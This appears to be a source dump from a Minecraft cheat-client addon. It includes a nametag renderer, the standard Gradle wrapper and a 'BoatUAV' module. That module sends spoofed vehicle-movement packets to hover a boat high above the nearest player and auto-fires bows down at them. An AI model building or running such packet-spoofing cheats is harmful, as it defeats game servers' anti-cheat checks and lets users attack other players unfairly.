112 |         Color healthColor = healthPercentage <= 0.333 ? this.RED : (healthPercentage <= 0.666 ? this.AMBER : this.GREEN);
113 |         double nameWidth = text.getWidth(name, shadow);
114 |         double healthWidth = text.getWidth(healthText, shadow);
115 |         double width = nameWidth + ((Boolean) this.displayHealth.get() ? healthWidth : 0);
116 |         double widthHalf = width / 2.0;
117 |         double height = text.getHeight(shadow);
118 |         text.beginBig();
119 |         double hX = -widthHalf;
120 |         double hY = -height;
121 |         double heightDown = text.getHeight(shadow);
122 |         drawBg(-widthHalf, -heightDown, width, heightDown);
123 |         hX = text.render(name, hX, hY, nameColor, shadow);
124 |         if ((Boolean) this.displayHealth.get()) {
125 |             text.render(healthText, hX, hY, healthColor, shadow);
126 |         }
127 |         text.end();
128 |         NametagUtils.end();
129 |     }
130 | 
131 | 
132 |     private double getHeight(Entity entity) {
133 |         double height = (double)entity.getEyeHeight(entity.getPose());
134 |         if (entity.getType() != EntityType.ITEM && entity.getType() != EntityType.ITEM_FRAME) {
135 |             height += (double)0.5F;
136 |         } else {
137 |             height += 0.2;
138 |         }
139 | 
140 |         return height;
141 |     }
142 | 
143 |     @EventHandler
144 |     private void onRender2D(Render2DEvent event) {
145 |         int count = this.getRenderCount();
146 |         boolean shadow = (Boolean) Config.get().customFont.get();
147 |         for(int i = count - 1; i > -1; --i) {
148 |             Entity entity = (Entity)this.entityList.get(i);
149 |             Utils.set(this.pos, entity, (double)event.tickDelta);
150 |             this.pos.add((double)0.0F, this.getHeight(entity), (double)0.0F);
151 |             EntityType<?> type = entity.getType();
152 |             if (!NametagUtils.to2D(this.pos, (Double)this.scale.get())) continue;
153 |             if (type == EntityType.PLAYER) {
154 |                 this.renderNametagPlayer(event, (PlayerEntity)entity, shadow);
155 |             }
156 |         }
157 |     }
158 | 
159 | }
160 | 
161 | 


--------------------------------------------------------------------------------
/gradlew:
--------------------------------------------------------------------------------
  1 | #!/bin/sh
  2 | 
  3 | #
  4 | # Copyright © 2015-2021 the original authors.
  5 | #
  6 | # Licensed under the Apache License, Version 2.0 (the "License");
  7 | # you may not use this file except in compliance with the License.
  8 | # You may obtain a copy of the License at
  9 | #
 10 | #      https://www.apache.org/licenses/LICENSE-2.0
 11 | #
 12 | # Unless required by applicable law or agreed to in writing, software
 13 | # distributed under the License is distributed on an "AS IS" BASIS,
 14 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 15 | # See the License for the specific language governing permissions and
 16 | # limitations under the License.
 17 | #
 18 | # SPDX-License-Identifier: Apache-2.0
 19 | #
 20 | 
 21 | ##############################################################################
 22 | #
 23 | #   Gradle start up script for POSIX generated by Gradle.
 24 | #
 25 | #   Important for running:
 26 | #
 27 | #   (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is
 28 | #       noncompliant, but you have some other compliant shell such as ksh or
 29 | #       bash, then to run this script, type that shell name before the whole
 30 | #       command line, like:
 31 | #
 32 | #           ksh Gradle
 33 | #
 34 | #       Busybox and similar reduced shells will NOT work, because this script
 35 | #       requires all of these POSIX shell features:
 36 | #         * functions;
 37 | #         * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,
 38 | #           «${var#prefix}», «${var%suffix}», and «$( cmd )»;
 39 | #         * compound commands having a testable exit status, especially «case»;
 40 | #         * various built-in commands including «command», «set», and «ulimit».
 41 | #
 42 | #   Important for patching:
 43 | #
 44 | #   (2) This script targets any POSIX shell, so it avoids extensions provided
 45 | #       by Bash, Ksh, etc; in particular arrays are avoided.
 46 | #
 47 | #       The "traditional" practice of packing multiple parameters into a
 48 | #       space-separated string is a well documented source of bugs and security
 49 | #       problems, so this is (mostly) avoided, by progressively accumulating
 50 | #       options in "$@", and eventually passing that to Java.
 51 | #
 52 | #       Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,
 53 | #       and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;
 54 | #       see the in-line comments for details.
 55 | #
 56 | #       There are tweaks for specific operating systems such as AIX, CygWin,
 57 | #       Darwin, MinGW, and NonStop.
 58 | #
 59 | #   (3) This script is generated from the Groovy template
 60 | #       https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt
 61 | #       within the Gradle project.
 62 | #
 63 | #       You can find Gradle at https://github.com/gradle/gradle/.
 64 | #
 65 | ##############################################################################
 66 | 
 67 | # Attempt to set APP_HOME
 68 | 
 69 | # Resolve links: $0 may be a link
 70 | app_path=$0
 71 | 
 72 | # Need this for daisy-chained symlinks.
 73 | while
 74 |     APP_HOME=${app_path%"${app_path##*/}"}  # leaves a trailing /; empty if no leading path
 75 |     [ -h "$app_path" ]
 76 | do
 77 |     ls=$( ls -ld "$app_path" )
 78 |     link=${ls#*' -> '}
 79 |     case $link in             #(
 80 |       /*)   app_path=$link ;; #(
 81 |       *)    app_path=$APP_HOME$link ;;
 82 |     esac
 83 | done
 84 | 
 85 | # This is normally unused
 86 | # shellcheck disable=SC2034
 87 | APP_BASE_NAME=${0##*/}
 88 | # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036)
 89 | APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit
 90 | 
 91 | # Use the maximum available, or set MAX_FD != -1 to use that value.
 92 | MAX_FD=maximum
 93 | 
 94 | warn () {
 95 |     echo "$*"
 96 | } >&2
 97 | 
 98 | die () {
 99 |     echo
100 |     echo "$*"
101 |     echo
102 |     exit 1
103 | } >&2
104 | 
105 | # OS specific support (must be 'true' or 'false').
106 | cygwin=false
107 | msys=false
108 | darwin=false
109 | nonstop=false
110 | case "$( uname )" in                #(
111 |   CYGWIN* )         cygwin=true  ;; #(
112 |   Darwin* )         darwin=true  ;; #(
113 |   MSYS* | MINGW* )  msys=true    ;; #(
114 |   NONSTOP* )        nonstop=true ;;
115 | esac
116 | 
117 | CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
118 | 
119 | 
120 | # Determine the Java command to use to start the JVM.
121 | if [ -n "$JAVA_HOME" ] ; then
122 |     if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
123 |         # IBM's JDK on AIX uses strange locations for the executables
124 |         JAVACMD=$JAVA_HOME/jre/sh/java
125 |     else
126 |         JAVACMD=$JAVA_HOME/bin/java
127 |     fi
128 |     if [ ! -x "$JAVACMD" ] ; then
129 |         die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
130 | 
131 | Please set the JAVA_HOME variable in your environment to match the
132 | location of your Java installation."
133 |     fi
134 | else
135 |     JAVACMD=java
136 |     if ! command -v java >/dev/null 2>&1
137 |     then
138 |         die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
139 | 
140 | Please set the JAVA_HOME variable in your environment to match the
141 | location of your Java installation."
142 |     fi
143 | fi
144 | 
145 | # Increase the maximum file descriptors if we can.
146 | if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then
147 |     case $MAX_FD in #(
148 |       max*)
149 |         # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked.
150 |         # shellcheck disable=SC2039,SC3045
151 |         MAX_FD=$( ulimit -H -n ) ||
152 |             warn "Could not query maximum file descriptor limit"
153 |     esac
154 |     case $MAX_FD in  #(
155 |       '' | soft) :;; #(
156 |       *)
157 |         # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked.
158 |         # shellcheck disable=SC2039,SC3045
159 |         ulimit -n "$MAX_FD" ||
160 |             warn "Could not set maximum file descriptor limit to $MAX_FD"
161 |     esac
162 | fi
163 | 
164 | # Collect all arguments for the java command, stacking in reverse order:
165 | #   * args from the command line
166 | #   * the main class name
167 | #   * -classpath
168 | #   * -D...appname settings
169 | #   * --module-path (only if needed)
170 | #   * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables.
171 | 
172 | # For Cygwin or MSYS, switch paths to Windows format before running java
173 | if "$cygwin" || "$msys" ; then
174 |     APP_HOME=$( cygpath --path --mixed "$APP_HOME" )
175 |     CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" )
176 | 
177 |     JAVACMD=$( cygpath --unix "$JAVACMD" )
178 | 
179 |     # Now convert the arguments - kludge to limit ourselves to /bin/sh
180 |     for arg do
181 |         if
182 |             case $arg in                                #(
183 |               -*)   false ;;                            # don't mess with options #(
184 |               /?*)  t=${arg#/} t=/${t%%/*}              # looks like a POSIX filepath
185 |                     [ -e "$t" ] ;;                      #(
186 |               *)    false ;;
187 |             esac
188 |         then
189 |             arg=$( cygpath --path --ignore --mixed "$arg" )
190 |         fi
191 |         # Roll the args list around exactly as many times as the number of
192 |         # args, so each arg winds up back in the position where it started, but
193 |         # possibly modified.
194 |         #
195 |         # NB: a `for` loop captures its iteration list before it begins, so
196 |         # changing the positional parameters here affects neither the number of
197 |         # iterations, nor the values presented in `arg`.
198 |         shift                   # remove old arg
199 |         set -- "$@" "$arg"      # push replacement arg
200 |     done
201 | fi
202 | 
203 | 
204 | # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
205 | DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
206 | 
207 | # Collect all arguments for the java command:
208 | #   * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments,
209 | #     and any embedded shellness will be escaped.
210 | #   * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be
211 | #     treated as '${Hostname}' itself on the command line.
212 | 
213 | set -- \
214 |         "-Dorg.gradle.appname=$APP_BASE_NAME" \
215 |         -classpath "$CLASSPATH" \
216 |         org.gradle.wrapper.GradleWrapperMain \
217 |         "$@"
218 | 
219 | # Stop when "xargs" is not available.
220 | if ! command -v xargs >/dev/null 2>&1
221 | then
222 |     die "xargs is not available"
223 | fi
224 | 
225 | # Use "xargs" to parse quoted args.
226 | #
227 | # With -n1 it outputs one arg per line, with the quotes and backslashes removed.
228 | #
229 | # In Bash we could simply go:
230 | #
231 | #   readarray ARGS < <( xargs -n1 <<<"$var" ) &&
232 | #   set -- "${ARGS[@]}" "$@"
233 | #
234 | # but POSIX shell has neither arrays nor command substitution, so instead we
235 | # post-process each arg (as a line of input to sed) to backslash-escape any
236 | # character that might be a shell metacharacter, then use eval to reverse
237 | # that process (while maintaining the separation between arguments), and wrap
238 | # the whole thing up as a single "set" statement.
239 | #
240 | # This will of course break if any of these variables contains a newline or
241 | # an unmatched quote.
242 | #
243 | 
244 | eval "set -- $(
245 |         printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" |
246 |         xargs -n1 |
247 |         sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' |
248 |         tr '\n' ' '
249 |     )" '"$@"'
250 | 
251 | exec "$JAVACMD" "$@"
252 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/modules/BoatUAV.java:
--------------------------------------------------------------------------------
  1 | package com.x310.clarity.modules;
  2 | 
  3 | import com.x310.clarity.Main;
  4 | import meteordevelopment.meteorclient.events.world.TickEvent;
  5 | import meteordevelopment.meteorclient.settings.*;
  6 | import meteordevelopment.meteorclient.systems.friends.Friends;
  7 | import meteordevelopment.meteorclient.systems.modules.Module;
  8 | import meteordevelopment.meteorclient.utils.player.ChatUtils;
  9 | import meteordevelopment.meteorclient.utils.player.InvUtils;
 10 | import meteordevelopment.orbit.EventHandler;
 11 | import net.minecraft.client.MinecraftClient;
 12 | import net.minecraft.entity.player.PlayerEntity;
 13 | import net.minecraft.entity.vehicle.BoatEntity;
 14 | import net.minecraft.item.ArrowItem;
 15 | import net.minecraft.item.Items;
 16 | import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket;
 17 | import net.minecraft.network.packet.c2s.play.VehicleMoveC2SPacket;
 18 | import net.minecraft.util.math.Vec3d;
 19 | 
 20 | public class BoatUAV extends Module {
 21 |     private final SettingGroup sgGeneral = settings.getDefaultGroup();
 22 |     public final Setting<Boolean> autoTrack = sgGeneral.add(new BoolSetting.Builder()
 23 |         .name("AutoTrack")
 24 |         .description("Automatically tracks the closest player's X and Z coordinates.")
 25 |         .defaultValue(true)
 26 |         .build()
 27 |     );
 28 | 
 29 |     private final Setting<Integer> charge = sgGeneral.add(new IntSetting.Builder()
 30 |         .name("charge")
 31 |         .description("How long to charge the bow before releasing in ticks.")
 32 |         .defaultValue(5)
 33 |         .range(5, 20)
 34 |         .sliderRange(5, 20)
 35 |         .build()
 36 |     );
 37 | 
 38 |     public final Setting<Double> maxYDelta = sgGeneral.add(new DoubleSetting.Builder()
 39 |         .name("max-y-delta")
 40 |         .description("Maximum vertical movement per tick.")
 41 |         .defaultValue(5.0)
 42 |         .range(0.1, 100.0)
 43 |         .sliderRange(0.1, 100.0)
 44 |         .build()
 45 |     );
 46 | 
 47 |     public final Setting<Double> maxXZDelta = sgGeneral.add(new DoubleSetting.Builder()
 48 |         .name("max-xz-delta")
 49 |         .description("Maximum horizontal movement per tick.")
 50 |         .defaultValue(0.5)
 51 |         .range(0.05, 15.0)
 52 |         .sliderRange(0.05, 15.0)
 53 |         .build()
 54 |     );
 55 | 
 56 |     public final Setting<Integer> bowSpamDelay = sgGeneral.add(new IntSetting.Builder()
 57 |         .name("bow-spam-delay")
 58 |         .description("Delay between bow releases in ticks.")
 59 |         .defaultValue(1)
 60 |         .range(1, 20)
 61 |         .sliderRange(1, 20)
 62 |         .build()
 63 |     );
 64 | 
 65 |     public final Setting<Integer> xzUpdateDelay = sgGeneral.add(new IntSetting.Builder()
 66 |         .name("xz-delay")
 67 |         .description("Number of ticks between XZ movement updates.")
 68 |         .defaultValue(2)
 69 |         .range(1, 20)
 70 |         .sliderRange(1, 20)
 71 |         .build()
 72 |     );
 73 | 
 74 | 
 75 |     private static final MinecraftClient mc = MinecraftClient.getInstance();
 76 |     private enum State { MOVING_UP_Y_1, MOVING_UP_Y_2, MOVING_DOWN_Y }
 77 |     private State currentState = State.MOVING_UP_Y_1;
 78 |     private PlayerEntity targetPlayer = null;
 79 |     private int xzTickCounter = 0;
 80 |     private Vec3d lastSentPos = null;
 81 |     private double yTarget = 0.0;
 82 |     private boolean wasBow = false;
 83 |     private int bowTickCounter = 0;
 84 | 
 85 |     public BoatUAV() {
 86 |         super(Main.CATEGORY, "BoatUAV", "BOAT GO CRAZYYYYYY WOOHOOOO VELOCITY KILLA 3000");
 87 |     }
 88 | 
 89 |     @Override
 90 |     public void onActivate() {
 91 |         if (mc.player == null || mc.world == null || mc.player.networkHandler == null) {
 92 |             ChatUtils.error("p/w/n handler is null, deactivating.");
 93 |             toggle();
 94 |             return;
 95 |         }
 96 | 
 97 |         if (!(mc.player.getVehicle() instanceof BoatEntity)) {
 98 |             ChatUtils.error("You must be in a boat to activate.");
 99 |             toggle();
100 |             return;
101 |         }
102 | 
103 |         targetPlayer = findClosestPlayer();
104 |         if (targetPlayer == null) {
105 |             ChatUtils.error("No target player found, deactivating.");
106 |             toggle();
107 |             return;
108 |         }
109 | 
110 |         currentState = State.MOVING_UP_Y_1;
111 |         lastSentPos = mc.player.getPos();
112 |         yTarget = targetPlayer.getY() + 50;
113 |         wasBow = false;
114 |         bowTickCounter = 0;
115 |     }
116 | 
117 |     @Override
118 |     public void onDeactivate() {
119 |         targetPlayer = null;
120 |         currentState = State.MOVING_UP_Y_1;
121 |         lastSentPos = null;
122 |         yTarget = 0.0;
123 |         setPressed(false);
124 |         wasBow = false;
125 |         bowTickCounter = 0;
126 |         ChatUtils.info("Module deactivated.");
127 |     }
128 | 
129 |     @EventHandler
130 |     private void onTick(TickEvent.Post event) {
131 |         if (!isActive() || mc.player == null || mc.world == null || mc.player.networkHandler == null) {
132 |             ChatUtils.error("p/w/n handler is null, deactivating.");
133 |             toggle();
134 |             return;
135 |         }
136 | 
137 |         if (!(mc.player.getVehicle() instanceof BoatEntity)) {
138 |             ChatUtils.error("Not in a boat, deactivating.");
139 |             toggle();
140 |             return;
141 |         }
142 | 
143 |         BoatEntity boat = (BoatEntity) mc.player.getVehicle();
144 |         if (lastSentPos == null) {
145 |             lastSentPos = boat.getPos();
146 |         }
147 | 
148 |         if (targetPlayer == null || !targetPlayer.isAlive() || !mc.world.getPlayers().contains(targetPlayer)) {
149 |             targetPlayer = findClosestPlayer();
150 |             if (targetPlayer == null) {
151 |                 ChatUtils.error("No target player found, deactivating.");
152 |                 toggle();
153 |                 return;
154 |             }
155 | 
156 |             if (currentState == State.MOVING_UP_Y_1) {
157 |                 yTarget = targetPlayer.getY() + 50;
158 |             }
159 |         }
160 | 
161 |         if (!autoTrack.get()) return;
162 | 
163 |         Vec3d targetPos = targetPlayer.getPos();
164 |         double finalYTarget = currentState == State.MOVING_UP_Y_2 ? targetPos.y + 80 : targetPos.y + 10;
165 | 
166 |         handleMovement(boat, targetPos, finalYTarget);
167 | 
168 |         if (xzTickCounter++ >= xzUpdateDelay.get()) {
169 |             updateXZ(boat, targetPos);
170 |             xzTickCounter = 0;
171 |         }
172 | 
173 |         if (currentState == State.MOVING_DOWN_Y) {
174 |             if (!mc.player.getAbilities().creativeMode && !InvUtils.find(itemStack -> itemStack.getItem() instanceof ArrowItem).found()) {
175 |                 ChatUtils.error("No arrows found in inventory, stopping bow spam.");
176 |                 toggle();
177 |                 return;
178 |             }
179 | 
180 |             boolean isBow = mc.player.getMainHandStack().getItem() == Items.BOW;
181 |             if (!isBow && wasBow) setPressed(false);
182 | 
183 |             wasBow = isBow;
184 |             if (!isBow) return;
185 | 
186 |             mc.player.networkHandler.sendPacket(new PlayerMoveC2SPacket.LookAndOnGround(
187 |                 mc.player.getYaw(), 90.0f, mc.player.isOnGround(), false
188 |             ));
189 | 
190 |             if (bowTickCounter > 0) {
191 |                 bowTickCounter--;
192 |                 return;
193 |             }
194 | 
195 |             if (mc.player.getItemUseTime() >= charge.get()) {
196 |                 mc.interactionManager.stopUsingItem(mc.player);
197 |                 bowTickCounter = bowSpamDelay.get();
198 |             } else {
199 |                 setPressed(true);
200 |             }
201 |         } else {
202 |             setPressed(false);
203 |         }
204 |     }
205 | 
206 |     private void updateXZ(BoatEntity boat, Vec3d targetPos) {
207 |         double xDelta = targetPos.x - lastSentPos.x;
208 |         double zDelta = targetPos.z - lastSentPos.z;
209 | 
210 |         double moveX = Math.max(-maxXZDelta.get(), Math.min(maxXZDelta.get(), xDelta));
211 |         double moveZ = Math.max(-maxXZDelta.get(), Math.min(maxXZDelta.get(), zDelta));
212 | 
213 |         Vec3d newXZPos = new Vec3d(lastSentPos.x + moveX, lastSentPos.y, lastSentPos.z + moveZ);
214 |         sendMovePacket(boat, newXZPos);
215 |     }
216 | 
217 | 
218 |     private void handleMovement(BoatEntity boat, Vec3d targetPos, double targetY) {
219 |         double currentY = lastSentPos.y;
220 |         double yDelta = (currentState == State.MOVING_UP_Y_1 ? yTarget : targetY) - currentY;
221 |         double moveY = Math.max(-maxYDelta.get(), Math.min(maxYDelta.get(), yDelta));
222 | 
223 |         Vec3d newPos = new Vec3d(lastSentPos.x, currentY + moveY, lastSentPos.z);
224 | 
225 |         if (Math.abs(yDelta) < maxYDelta.get()) {
226 |             switch (currentState) {
227 |                 case MOVING_UP_Y_1 -> {
228 |                     currentState = State.MOVING_UP_Y_2;
229 |                     yTarget = targetPos.y + 80;
230 |                 }
231 |                 case MOVING_UP_Y_2 -> currentState = State.MOVING_DOWN_Y;
232 |                 case MOVING_DOWN_Y -> {
233 |                     currentState = State.MOVING_UP_Y_1;
234 |                     yTarget = targetPos.y + 40;
235 |                 }
236 |             }
237 |         }
238 | 
239 |         sendMovePacket(boat, newPos);
240 |     }
241 | 
242 | 
243 |     private void sendMovePacket(BoatEntity boat, Vec3d newPos) {
244 |         mc.player.networkHandler.sendPacket(new VehicleMoveC2SPacket(newPos, boat.getYaw(), boat.getPitch(), false));
245 |         lastSentPos = newPos;
246 |     }
247 | 
248 |     private PlayerEntity findClosestPlayer() {
249 |         if (mc.world == null || mc.player == null) return null;
250 |         PlayerEntity closest = null;
251 |         double closestDistance = Double.MAX_VALUE;
252 |         for (PlayerEntity player : mc.world.getPlayers()) {
253 |             if (player != mc.player && !player.isSpectator() && player.isAlive() && Friends.get().shouldAttack(player)) {
254 |                 double distance = mc.player.getPos().distanceTo(player.getPos());
255 |                 if (distance < closestDistance) {
256 |                     closest = player;
257 |                     closestDistance = distance;
258 |                 }
259 |             }
260 |         }
261 |         return closest;
262 |     }
263 | 
264 |     private void setPressed(boolean pressed) {
265 |         mc.options.useKey.setPressed(pressed);
266 |     }
267 | }
268 | 


--------------------------------------------------------------------------------